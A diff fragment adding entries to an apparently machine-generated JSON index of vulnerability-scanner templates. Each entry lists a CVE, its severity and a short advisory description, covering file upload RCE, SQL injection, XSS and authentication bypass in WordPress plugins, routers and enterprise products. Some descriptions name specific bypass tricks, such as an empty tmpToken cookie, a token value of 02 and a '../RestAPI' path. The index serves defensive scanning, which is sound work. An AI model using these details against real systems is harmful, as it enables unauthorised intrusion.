+{"ID":"CVE-2021-4462","Info":{"Name":"Employee Records System 1.0 - Unauthenticated File Upload RCE","Severity":"critical","Description":"Employee Records System version 1.0 contains an unrestricted file upload vulnerability in uploadID.php that allows remote unauthenticated attackers to upload arbitrary PHP files and achieve remote code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-4462.yaml"}
 {"ID":"CVE-2021-44848","Info":{"Name":"Thinfinity VirtualUI User Enumeration","Severity":"medium","Description":"Thinfinity VirtualUI (before v3.0), /changePassword returns different responses for requests depending on whether the username exists. It may enumerate OS users (Administrator, Guest, etc.)","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2021/CVE-2021-44848.yaml"}
 {"ID":"CVE-2021-44910","Info":{"Name":"SpringBlade - Information Leakage","Severity":"high","Description":"SpringBlade is a comprehensive project upgraded and optimized from a commercial-grade project, featuring both a SpringCloud distributed microservice architecture and a SpringBoot monolithic microservice architecture. The SpringBlade framework has a default SIGN_KEY, which can be exploited by attackers to obtain sensitive information such as user account password logs.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2021/CVE-2021-44910.yaml"}
 {"ID":"CVE-2021-45027","Info":{"Name":"Oliver 5 Library Server \u003c8.00.008.053 - Local File Inclusion","Severity":"high","Description":"Oliver 5 Library Server versions prior to 8.00.008.053 are vulnerable to local file inclusion via the FileServlet function.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-45027.yaml"}
@@ -1784,6 +1801,7 @@
 {"ID":"CVE-2022-0867","Info":{"Name":"WordPress ARPrice \u003c3.6.1 - SQL Injection","Severity":"critical","Description":"WordPress ARPrice plugin prior to 3.6.1 contains a SQL injection vulnerability. It fails to properly sanitize and escape user supplied POST data before being inserted in an SQL statement and executed via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-0867.yaml"}
 {"ID":"CVE-2022-0869","Info":{"Name":"nitely/spirit 0.12.3 - Open Redirect","Severity":"medium","Description":"Multiple Open Redirect in GitHub repository nitely/spirit prior to 0.12.3.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-0869.yaml"}
 {"ID":"CVE-2022-0870","Info":{"Name":"Gogs \u003c0.12.5 - Server-Side Request Forgery","Severity":"medium","Description":"Gogs GitHub repository before 0.12.5 is susceptible to server-side request forgery. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-0870.yaml"}
+{"ID":"CVE-2022-0879","Info":{"Name":"Caldera Forms \u003c 1.9.7 - Reflected Cross-Site Scripting","Severity":"medium","Description":"Caldera Forms WordPress plugin \u003c 1.9.7 contains a reflected cross-site scripting caused by lack of validation and escaping of the cf-api parameter in responses, letting attackers execute arbitrary scripts in victim's browser, exploit requires attacker to craft a malicious request.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-0879.yaml"}
 {"ID":"CVE-2022-0885","Info":{"Name":"Member Hero \u003c=1.0.9 - Remote Code Execution","Severity":"critical","Description":"WordPress Member Hero plugin through 1.0.9 is susceptible to remote code execution. The plugin lacks authorization checks and does not validate the a request parameter in an AJAX action, allowing an attacker to call arbitrary PHP functions with no arguments. An attacker can thus execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-0885.yaml"}
 {"ID":"CVE-2022-0899","Info":{"Name":"Header Footer Code Manager \u003c 1.1.24 - Cross-Site Scripting","Severity":"medium","Description":"The Header Footer Code Manager WordPress plugin before 1.1.24 does not escape generated URLs before outputting them back in attributes in an admin page, leading to a Reflected Cross-Site Scripting.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-0899.yaml"}
 {"ID":"CVE-2022-0928","Info":{"Name":"Microweber \u003c 1.2.12 - Stored Cross-Site Scripting","Severity":"medium","Description":"Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability via the Type parameter in the body of POST request, which is triggered by Add/Edit Tax.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2022/CVE-2022-0928.yaml"}
@@ -1972,6 +1990,7 @@
 {"ID":"CVE-2022-28365","Info":{"Name":"Reprise License Manager 14.2 - Information Disclosure","Severity":"medium","Description":"Reprise License Manager 14.2 is susceptible to information disclosure via a GET request to /goforms/rlminfo. No authentication is required. The information disclosed is associated with software versions, process IDs, network configuration, hostname(s), system architecture and file/directory information. An attacker can possibly obtain further sensitive information, modify data, and/or execute unauthorized operations.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-28365.yaml"}
 {"ID":"CVE-2022-28508","Info":{"Name":"MantisBT \u003c 2.25.2 - Cross-Site Scripting","Severity":"medium","Description":"MantisBT before 2.25.2 contains a cross-site scripting vulnerability in browser_search_plugin.php. The application does not properly sanitize the 'type' parameter, which allows attackers to inject arbitrary web script or HTML via a crafted URL.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-28508.yaml"}
 {"ID":"CVE-2022-2863","Info":{"Name":"WordPress WPvivid Backup \u003c0.9.76 - Local File Inclusion","Severity":"medium","Description":"WordPress WPvivid Backup version 0.9.76 is vulnerable to local file inclusion because the plugin does not sanitize and validate a parameter before using it to read the content of a file, allowing high privilege users to read any file from the web server.","Classification":{"CVSSScore":"4.9"}},"file_path":"http/cves/2022/CVE-2022-2863.yaml"}
+{"ID":"CVE-2022-28666","Info":{"Name":"Custom Product Tabs for WooCommerce \u003c 1.7.8 - Unauthenticated Toggle Content Setting Update","Severity":"medium","Description":"YIKES Inc. Custom Product Tabs for WooCommerce plugin \\u003C= 1.7.7 contains a broken access control caused by improper permission checks in \u0026yikes-the-content-toggle option update, letting attackers modify content without authorization.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-28666.yaml"}
 {"ID":"CVE-2022-28923","Info":{"Name":"Caddy 2.4.6 - Open Redirect","Severity":"medium","Description":"Caddy 2.4.6 contains an open redirect vulnerability. An attacker can redirect a user to a malicious site via a crafted URL and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-28923.yaml"}
 {"ID":"CVE-2022-28955","Info":{"Name":"D-Link DIR-816L - Improper Access Control","Severity":"high","Description":"D-Link DIR-816L_FW206b01 is susceptible to improper access control. An attacker can access folders folder_view.php and category_view.php and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-28955.yaml"}
 {"ID":"CVE-2022-29004","Info":{"Name":"Diary Management System 1.0 - Cross-Site Scripting","Severity":"medium","Description":"Diary Management System 1.0 contains a cross-site scripting vulnerability via the Name parameter in search-result.php.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-29004.yaml"}
@@ -1982,6 +2001,7 @@
 {"ID":"CVE-2022-29013","Info":{"Name":"Razer Sila Gaming Router - Remote Code Execution","Severity":"critical","Description":"A command injection in the command parameter of Razer Sila Gaming Router v2.0.441_api-2.0.418 allows attackers to execute arbitrary commands via a crafted POST request.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-29013.yaml"}
 {"ID":"CVE-2022-29014","Info":{"Name":"Razer Sila Gaming Router 2.0.441_api-2.0.418 - Local File Inclusion","Severity":"high","Description":"Razer Sila Gaming Router 2.0.441_api-2.0.418 is vulnerable to local file inclusion which could allow attackers to read arbitrary files.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-29014.yaml"}
 {"ID":"CVE-2022-29078","Info":{"Name":"Node.js Embedded JavaScript 3.1.6 - Template Injection","Severity":"critical","Description":"Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-29078.yaml"}
+{"ID":"CVE-2022-29081","Info":{"Name":"Zoho ManageEngine - Access Control Bypass","Severity":"critical","Description":"Zoho ManageEngine Access Manager Plus before 4302, Password Manager Pro before 12007, and PAM360 before 5401 are vulnerable to access-control bypass on a few Rest API URLs (for SSOutAction. SSLAction. LicenseMgr. GetProductDetails. GetDashboard. FetchEvents. and Synchronize) via the ../RestAPI substring.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-29081.yaml"}
 {"ID":"CVE-2022-29153","Info":{"Name":"HashiCorp Consul/Consul Enterprise - Server-Side Request Forgery","Severity":"high","Description":"HashiCorp Consul and Consul Enterprise up to 1.9.16, 1.10.9, and 1.11 are susceptible to server-side request forgery. When redirects are returned by HTTP health check endpoints, Consul follows these HTTP redirects by default. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-29153.yaml"}
 {"ID":"CVE-2022-29272","Info":{"Name":"Nagios XI \u003c5.8.5 - Open Redirect","Severity":"medium","Description":"Nagios XI through 5.8.5 contains an open redirect vulnerability in the login function. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-29272.yaml"}
 {"ID":"CVE-2022-29298","Info":{"Name":"SolarView Compact 6.00 - Local File Inclusion","Severity":"high","Description":"SolarView Compact 6.00 is vulnerable to local file inclusion which could allow attackers to access sensitive files.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-29298.yaml"}
@@ -2004,6 +2024,7 @@
 {"ID":"CVE-2022-3062","Info":{"Name":"Simple File List \u003c 4.4.12 - Cross Site Scripting","Severity":"medium","Description":"The plugin does not escape parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-3062.yaml"}
 {"ID":"CVE-2022-30776","Info":{"Name":"Atmail 6.5.0 - Cross-Site Scripting","Severity":"medium","Description":"Atmail 6.5.0 contains a cross-site scripting vulnerability via the index.php/admin/index/ 'error' parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-30776.yaml"}
 {"ID":"CVE-2022-30777","Info":{"Name":"Parallels H-Sphere 3.6.1713 - Cross-Site Scripting","Severity":"medium","Description":"Parallels H-Sphere 3.6.1713 contains a cross-site scripting vulnerability via the index_en.php 'from' parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-30777.yaml"}
+{"ID":"CVE-2022-31101","Info":{"Name":"Prestashop Blockwishlist 2.1.0 SQL Injection","Severity":"high","Description":"Prestashop Blockwishlist module version 2.1.0 suffers from a remote authenticated SQL injection vulnerability.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2022/CVE-2022-31101.yaml"}
 {"ID":"CVE-2022-31126","Info":{"Name":"Roxy-WI - Remote Code Execution","Severity":"critical","Description":"Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the ssh_command function without processing the inputs received from the user in the /app/funct.py file.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-31126.yaml"}
 {"ID":"CVE-2022-31137","Info":{"Name":"Roxy-WI \u003c 6.1.1.0 - Remote Code Execution","Severity":"critical","Description":"Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the subprocess_execute function without processing the inputs received from the user in the /app/options.py file.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-31137.yaml"}
 {"ID":"CVE-2022-31161","Info":{"Name":"Roxy-WI - Remote Code Execution","Severity":"critical","Description":"Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the delcert parameter without proper input validation in the /app/options.py file, allowing attackers to inject arbitrary OS commands.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-31161.yaml"}
@@ -2054,6 +2075,7 @@
 {"ID":"CVE-2022-32772","Info":{"Name":"WWBN AVideo 11.6 - Cross-Site Scripting","Severity":"medium","Description":"WWBN AVideo 11.6 contains a cross-site scripting vulnerability in the footer alerts functionality via the 'msg' parameter, which is inserted into the document with insufficient sanitization.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-32772.yaml"}
 {"ID":"CVE-2022-33119","Info":{"Name":"NUUO NVRsolo Video Recorder 03.06.02 - Cross-Site Scripting","Severity":"medium","Description":"NUUO NVRsolo Video Recorder 03.06.02 contains a reflected cross-site scripting vulnerability via login.php.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-33119.yaml"}
 {"ID":"CVE-2022-33174","Info":{"Name":"Powertek Firmware \u003c3.30.30 - Authorization Bypass","Severity":"high","Description":"Powertek firmware (multiple brands) before 3.30.30 running Power Distribution Units are vulnerable to authorization bypass in the web interface. To exploit the vulnerability, an attacker must send an HTTP packet to the data retrieval interface (/cgi/get_param.cgi) with the tmpToken cookie set to an empty string followed by a semicolon. This bypasses an active session authorization check. This can be then used to fetch the values of protected sys.passwd and sys.su.name fields that contain the username and password in cleartext.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-33174.yaml"}
+{"ID":"CVE-2022-33198","Info":{"Name":"WordPress Accordions  - Unauthenticated Settings Update","Severity":"critical","Description":"Unauthenticated WordPress Options Change vulnerability in Biplob Adhikari's Accordions plugin \u003c= 2.0.2 at WordPress.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-33198.yaml"}
 {"ID":"CVE-2022-33891","Info":{"Name":"Apache Spark UI - Remote Command Injection","Severity":"high","Description":"Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow impersonation by providing an arbitrary user name. An attacker can potentially reach a permission check function that will ultimately build a Unix shell command based on input and execute it, resulting in arbitrary shell command execution. Affected versions are 3.0.3 and earlier, 3.1.1 to 3.1.2, and 3.2.0 to 3.2.1.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2022/CVE-2022-33891.yaml"}
 {"ID":"CVE-2022-33901","Info":{"Name":"WordPress MultiSafepay for WooCommerce \u003c=4.13.1 - Arbitrary File Read","Severity":"high","Description":"WordPress MultiSafepay for WooCommerce plugin through 4.13.1 contains an arbitrary file read vulnerability. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-33901.yaml"}
 {"ID":"CVE-2022-33965","Info":{"Name":"WordPress Visitor Statistics \u003c=5.7 - SQL Injection","Severity":"critical","Description":"WordPress Visitor Statistics plugin through 5.7 contains multiple unauthenticated SQL injection vulnerabilities. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-33965.yaml"}
@@ -2067,6 +2089,7 @@
 {"ID":"CVE-2022-34121","Info":{"Name":"CuppaCMS v1.0 - Local File Inclusion","Severity":"high","Description":"Cuppa CMS v1.0 is vulnerable to local file inclusion via the component /templates/default/html/windows/right.php.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-34121.yaml"}
 {"ID":"CVE-2022-34267","Info":{"Name":"RWS WorldServer - Authentication Bypass","Severity":"critical","Description":"An issue was discovered in RWS WorldServer before 11.7.3. Adding a token parameter with the value of 02 bypasses all authentication requirements. Arbitrary Java code can be uploaded and executed via a .jar archive to the ws-api/v2/customizations/api endpoint.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-34267.yaml"}
 {"ID":"CVE-2022-34328","Info":{"Name":"PMB 7.3.10 - Cross-Site Scripting","Severity":"medium","Description":"PMB 7.3.10 contains a reflected cross-site scripting vulnerability via the id parameter in an lvl=author_see request to index.php.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-34328.yaml"}
+{"ID":"CVE-2022-34487","Info":{"Name":"ShortCode Addons - Unauthenticated Options Update","Severity":"critical","Description":"WordPress plugin Shortcode Addons \u003c= 3.0.2 contains an unauthenticated arbitrary option update caused by insufficient access controls in the plugin, letting attackers modify options without authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-34487.yaml"}
 {"ID":"CVE-2022-34534","Info":{"Name":"Digital Watchdog DW Spectrum Server 4.2.0.32842 - Information Disclosure","Severity":"high","Description":"Digital Watchdog DW Spectrum Server 4.2.0.32842 allows attackers to access sensitive infromation via a crafted API call.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-34534.yaml"}
 {"ID":"CVE-2022-34576","Info":{"Name":"WAVLINK WN535 G3 - Improper Access Control","Severity":"high","Description":"WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to improper access control. A vulnerability in /cgi-bin/ExportAllSettings.sh allows an attacker to execute arbitrary code via a crafted POST request and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-34576.yaml"}
 {"ID":"CVE-2022-34590","Info":{"Name":"Hospital Management System 1.0 - SQL Injection","Severity":"high","Description":"Hospital Management System 1.0 contains a SQL injection vulnerability via the editid parameter in /HMS/admin.php. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2022/CVE-2022-34590.yaml"}
@@ -2373,6 +2396,7 @@
 {"ID":"CVE-2023-27179","Info":{"Name":"GDidees CMS v3.9.1 - Arbitrary File Download","Severity":"high","Description":"GDidees CMS v3.9.1 and lower was discovered to contain an arbitrary file download vulenrability via the filename parameter at /_admin/imgdownload.php.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-27179.yaml"}
 {"ID":"CVE-2023-27292","Info":{"Name":"OpenCATS - Open Redirect","Severity":"medium","Description":"OpenCATS contains an open redirect vulnerability due to improper validation of user-supplied GET parameters. This, in turn, exposes OpenCATS to possible template injection and obtaining sensitive information, modifying data, and/or executing unauthorized operations.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2023/CVE-2023-27292.yaml"}
 {"ID":"CVE-2023-2732","Info":{"Name":"MStore API \u003c= 3.9.2 - Authentication Bypass","Severity":"critical","Description":"The MStore API plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.9.2. This is due to insufficient verification on the user being supplied during the add listing REST API request through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the user id.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-2732.yaml"}
+{"ID":"CVE-2023-2734","Info":{"Name":"MStore API \u003c= 3.9.1 - Authentication Bypass","Severity":"critical","Description":"The MStore API plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.9.1. This is due to insufficient verification on the user being supplied during the cart sync from mobile REST API request through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the user id.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-2734.yaml"}
 {"ID":"CVE-2023-27350","Info":{"Name":"PaperCut - Unauthenticated Remote Code Execution","Severity":"critical","Description":"This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability. The specific flaw exists within the SetupCompleted class. The issue results from improper access control. An attacker can leverage this vulnerability to bypass authentication and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-18987.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-27350.yaml"}
 {"ID":"CVE-2023-27372","Info":{"Name":"SPIP - Remote Command Execution","Severity":"critical","Description":"SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-27372.yaml"}
 {"ID":"CVE-2023-2745","Info":{"Name":"WordPress Core \u003c=6.2 - Directory Traversal","Severity":"medium","Description":"WordPress Core is vulnerable to Directory Traversal in versions up to, and including, 6.2, via the ‘wp_lang’ parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-2745.yaml"}
@@ -2430,6 +2454,7 @@
 {"ID":"CVE-2023-3077","Info":{"Name":"MStore API \u003c 3.9.8 - SQL Injection","Severity":"critical","Description":"The MStore API WordPress plugin before 3.9.8 is vulnerable to Blind SQL injection via the product_id parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-3077.yaml"}
 {"ID":"CVE-2023-30777","Info":{"Name":"Advanced Custom Fields \u003c 6.1.6 - Cross-Site Scripting","Severity":"medium","Description":"Advanced Custom Fields beofre 6.1.6 is susceptible to cross-site scripting via the post_status parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-30777.yaml"}
 {"ID":"CVE-2023-30868","Info":{"Name":"Tree Page View Plugin \u003c 1.6.7 - Cross-Site Scripting","Severity":"medium","Description":"The CMS Tree Page View plugin for WordPress has a Reflected Cross-Site Scripting vulnerability up to version 1.6.7. This is due to the post_type parameter not properly escaping user input. As a result, users with administrator privileges or higher can inject JavaScript code that will execute whenever accessed.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-30868.yaml"}
+{"ID":"CVE-2023-30869","Info":{"Name":"Easy Digital Downloads - Privilege Escalation","Severity":"critical","Description":"Improper Authentication vulnerability in Easy Digital Downloads plugin allows unauth. Privilege Escalation. This issue affects Easy Digital Downloads: from 3.1 through 3.1.1.4.1.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-30869.yaml"}
 {"ID":"CVE-2023-30943","Info":{"Name":"Moodle - Cross-Site Scripting/Remote Code Execution","Severity":"medium","Description":"The vulnerability was found Moodle which exists because the application allows a user to control path of the older to create in TinyMCE loaders. A remote user can send a specially crafted HTTP request and create arbitrary folders on the system. Moodle versions 4.1.x before 4.1.3 and 4.2.x before 4.2.0 are susceptible to an unauthenticated arbitrary folder creation, tracked as CVE-2023-30943. An attacker can leverage the creation of arbitrary folders to carry out a Stored Cross-Site Scripting (XSS) attack on the administration panel, resulting in arbitrary code execution on the server as soon as an administrator visits the panel.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2023/CVE-2023-30943.yaml"}
 {"ID":"CVE-2023-31059","Info":{"Name":"Repetier Server - Directory Traversal","Severity":"high","Description":"Repetier Server through 1.4.10 allows ..%5c directory traversal for reading files that contain credentials, as demonstrated by connectionLost.php.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-31059.yaml"}
 {"ID":"CVE-2023-3139","Info":{"Name":"Protect WP Admin \u003c 4.0 - Unauthenticated Protection Bypass","Severity":"medium","Description":"The Protect WP Admin WordPress plugin before version 4.0 disclosed the URL of the admin panel through the redirection of a crafted URL, bypassing the protection offered.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-3139.yaml"}
@@ -2447,6 +2472,7 @@
 {"ID":"CVE-2023-32243","Info":{"Name":"WordPress Elementor Lite 5.7.1 - Arbitrary Password Reset","Severity":"critical","Description":"Improper Authentication vulnerability in WPDeveloper Essential Addons for Elementor allows Privilege Escalation. This issue affects Essential Addons for Elementor: from 5.4.0 through 5.7.1.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-32243.yaml"}
 {"ID":"CVE-2023-32315","Info":{"Name":"Openfire Administration Console - Authentication Bypass","Severity":"high","Description":"Openfire is an XMPP server licensed under the Open Source Apache License. Openfire's administrative console, a web-based application, was found to be vulnerable to a path traversal attack via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environment in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for administrative users. This vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-32315.yaml"}
 {"ID":"CVE-2023-32563","Info":{"Name":"Ivanti Avalanche - Remote Code Execution","Severity":"critical","Description":"An unauthenticated attacker could achieve the code execution through a RemoteControl server.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-32563.yaml"}
+{"ID":"CVE-2023-3277","Info":{"Name":"MStore API \u003c= 4.10.7 - Unauthorized Account Access and Privilege Escalation","Severity":"critical","Description":"The MStore API plugin for WordPress is vulnerable to Unauthorized Account Access and Privilege Escalation in versions up to, and including, 4.10.7 due to improper implementation of the Apple login feature. This allows unauthenticated attackers to log in as any user as long as they know the user's email address.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-3277.yaml"}
 {"ID":"CVE-2023-33338","Info":{"Name":"Old Age Home Management System v1.0 - SQL Injection","Severity":"critical","Description":"Old Age Home Management 1.0 is vulnerable to SQL Injection via the username parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-33338.yaml"}
 {"ID":"CVE-2023-33405","Info":{"Name":"BlogEngine CMS - Open Redirect","Severity":"medium","Description":"Blogengine.net 3.3.8.0 and earlier is vulnerable to Open Redirect\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-33405.yaml"}
 {"ID":"CVE-2023-33439","Info":{"Name":"Faculty Evaluation System v1.0 - SQL Injection","Severity":"high","Description":"Sourcecodester Faculty Evaluation System v1.0 is vulnerable to SQL Injection via /eval/admin/manage_task.php?id=\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2023/CVE-2023-33439.yaml"}
@@ -2524,6 +2550,7 @@
 {"ID":"CVE-2023-37728","Info":{"Name":"IceWarp Webmail Server v10.2.1 - Cross Site Scripting","Severity":"medium","Description":"Icewarp Icearp v10.2.1 was discovered to contain a cross-site scripting (XSS) vulnerability via the color parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-37728.yaml"}
 {"ID":"CVE-2023-37979","Info":{"Name":"Ninja Forms \u003c 3.6.26 - Cross-Site Scripting","Severity":"medium","Description":"The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-37979.yaml"}
 {"ID":"CVE-2023-37988","Info":{"Name":"Contact Form Generator \u003c= 2.5.5 - Cross-Site Scripting","Severity":"medium","Description":"The Contact Form Generator plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'id' parameter in wp-admin/admin.php in versions up to, and including, 2.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-37988.yaml"}
+{"ID":"CVE-2023-37999","Info":{"Name":"HT Mega – Absolute Addons for Elementor \u003c= 2.2.0 - Missing Authorization to Privilege Escalation","Severity":"critical","Description":"The HT Mega plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 2.2.0. This is due to missing validation of the reg_role parameter on the htmega_ajax_register function. This makes it possible for unauthenticated attackers to create administrator accounts.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-37999.yaml"}
 {"ID":"CVE-2023-38035","Info":{"Name":"Ivanti Sentry - Authentication Bypass","Severity":"critical","Description":"A security vulnerability in MICS Admin Portal in Ivanti MobileIron Sentry versions 9.18.0 and below, which may allow an attacker to bypass authentication controls on the administrative interface due to an insufficiently restrictive Apache HTTPD configuration.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-38035.yaml"}
 {"ID":"CVE-2023-38040","Info":{"Name":"Revive Adserver 5.4.1 - Cross-Site Scripting","Severity":"medium","Description":"A reflected XSS vulnerability exists in Revive Adserver 5.4.1 and earlier versions.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-38040.yaml"}
 {"ID":"CVE-2023-38192","Info":{"Name":"SuperWebMailer 9.00.0.01710 - Cross-Site Scripting","Severity":"medium","Description":"An issue was discovered in SuperWebMailer 9.00.0.01710 allowing XSS via crafted incorrect passwords.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-38192.yaml"}
@@ -2541,6 +2568,7 @@
